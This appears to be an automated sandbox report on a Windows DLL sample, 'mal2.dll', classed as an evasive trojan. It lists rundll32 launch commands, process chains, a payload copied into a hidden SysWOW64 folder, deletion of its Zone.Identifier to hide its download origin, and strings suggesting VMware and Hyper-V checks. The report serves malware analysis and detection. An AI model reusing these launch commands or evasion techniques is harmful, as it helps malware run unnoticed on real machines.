Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA938F	5_2_00DA938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC1987	5_2_00DC1987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA7D87	5_2_00DA7D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAF984	5_2_00DAF984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA33A9	5_2_00DA33A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBBFA1	5_2_00DBBFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB77A7	5_2_00DB77A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA8D59	5_2_00DA8D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA635F	5_2_00DA635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC2D4F	5_2_00DC2D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC314A	5_2_00DC314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA4F42	5_2_00DA4F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBC145	5_2_00DBC145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA2B7C	5_2_00DA2B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB5B7C	5_2_00DB5B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA597D	5_2_00DA597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBC772	5_2_00DBC772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA2176	5_2_00DA2176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA2575	5_2_00DA2575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA996C	5_2_00DA996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA196D	5_2_00DA196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBF561	5_2_00DBF561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA5166	5_2_00DA5166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DADD66	5_2_00DADD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC2560	5_2_00DC2560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA9565	5_2_00DA9565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB8518	5_2_00DB8518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA8112	5_2_00DA8112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA4716	5_2_00DA4716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA5314	5_2_00DA5314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBD10B	5_2_00DBD10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB710D	5_2_00DB710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DC3306	5_2_00DC3306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB473A	5_2_00DB473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA7739	5_2_00DA7739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB3130	5_2_00DB3130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAE336	5_2_00DAE336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DAB12E	5_2_00DAB12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DBCF2C	5_2_00DBCF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA6125	5_2_00DA6125

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6EDBD350 appears 32 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6EDA1C10 appears 92 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EDBD350 appears 33 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EDA1C10 appears 97 times

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: mal2.dll

ReversingLabs: Detection: 24%

Source: mal2.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\mal2.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal2.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal2.dll,axamexdrqyrgb
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal2.dll,bhramccfbdd
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xjvbeeymcqp\hqokwlnubzbb.uql",vvWvMRmVQ
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1456 -ip 1456
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 304
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 1456 -ip 1456
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 312
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal2.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal2.dll,axamexdrqyrgb	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal2.dll,bhramccfbdd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xjvbeeymcqp\hqokwlnubzbb.uql",vvWvMRmVQ	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1456 -ip 1456	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 304	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 1456 -ip 1456	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 312	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERD250.tmp

Jump to behavior

Source: classification engine

Classification label: mal76.troj.evad.winDLL@39/21@0/31

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal2.dll,Control_RunDLL

Source: mal2.dll

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7132:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5544:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:4568:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1456

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: mal2.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: mal2.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000016.00000003.573738619.0000000000F47000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.581262316.0000000000917000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.603106130.0000000000B7D000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.602476954.0000000000B7D000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000019.00000003.602237788.0000000000BBB000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000016.00000003.584277033.00000000047F1000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.609321694.0000000004C21000.00000004.00000001.sdmp
Source:	Binary string: oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000016.00000002.593818088.00000000003D2000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000019.00000003.603106130.0000000000B7D000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.602476954.0000000000B7D000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A151C push ds; ret	0_2_007A1527
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007A150F push ds; ret	0_2_007A1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106150F push ds; ret	2_2_01061527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0106151C push ds; ret	2_2_01061527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC9153 push ecx; ret	2_2_6EDC9166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA151C push ds; ret	5_2_00DA1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DA150F push ds; ret	5_2_00DA1527

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDAE4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6EDAE4E0

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Xjvbeeymcqp\hqokwlnubzbb.uql

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Xjvbeeymcqp\hqokwlnubzbb.uql:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 6152	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4644	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	API coverage: 7.3 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 9.8 %

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC2FE7 FindFirstFileExW,		0_2_6EDC2FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC2FE7 FindFirstFileExW,		2_2_6EDC2FE7

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: Amcache.hve.22.dr	Binary or memory string: VMware
Source: Amcache.hve.22.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.22.dr	Binary or memory string: VMware, Inc.
Source: svchost.exe, 00000004.00000002.567333158.0000028217E61000.00000004.00000001.sdmp	Binary or memory string: @Hyper-V RAW
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: WerFault.exe, 00000019.00000003.639184264.0000000001110000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000002.640688899.0000000001112000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.22.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.22.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.22.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: svchost.exe, 00000004.00000002.565370387.0000028212829000.00000004.00000001.sdmp, svchost.exe, 00000004.00000002.567296199.0000028217E55000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000002.640605241.00000000010E0000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000003.639184264.0000000001110000.00000004.00000001.sdmp, WerFault.exe, 00000019.00000002.640688899.0000000001112000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.22.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.22.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.22.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.22.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: VMware-42 35 bb 32 33 75 d2 27-52 00 3c e2 4b d4 32 71
Source: svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.661148493.0000016AA0A29000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.22.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDBD1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6EDBD1CC

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDAE4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6EDAE4E0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDA1290 GetProcessHeap,HeapAlloc,RtlAllocateHeap,HeapFree,

0_2_6EDA1290

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007B4315 mov eax, dword ptr fs:[00000030h]	0_2_007B4315
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBC050 mov eax, dword ptr fs:[00000030h]	0_2_6EDBC050
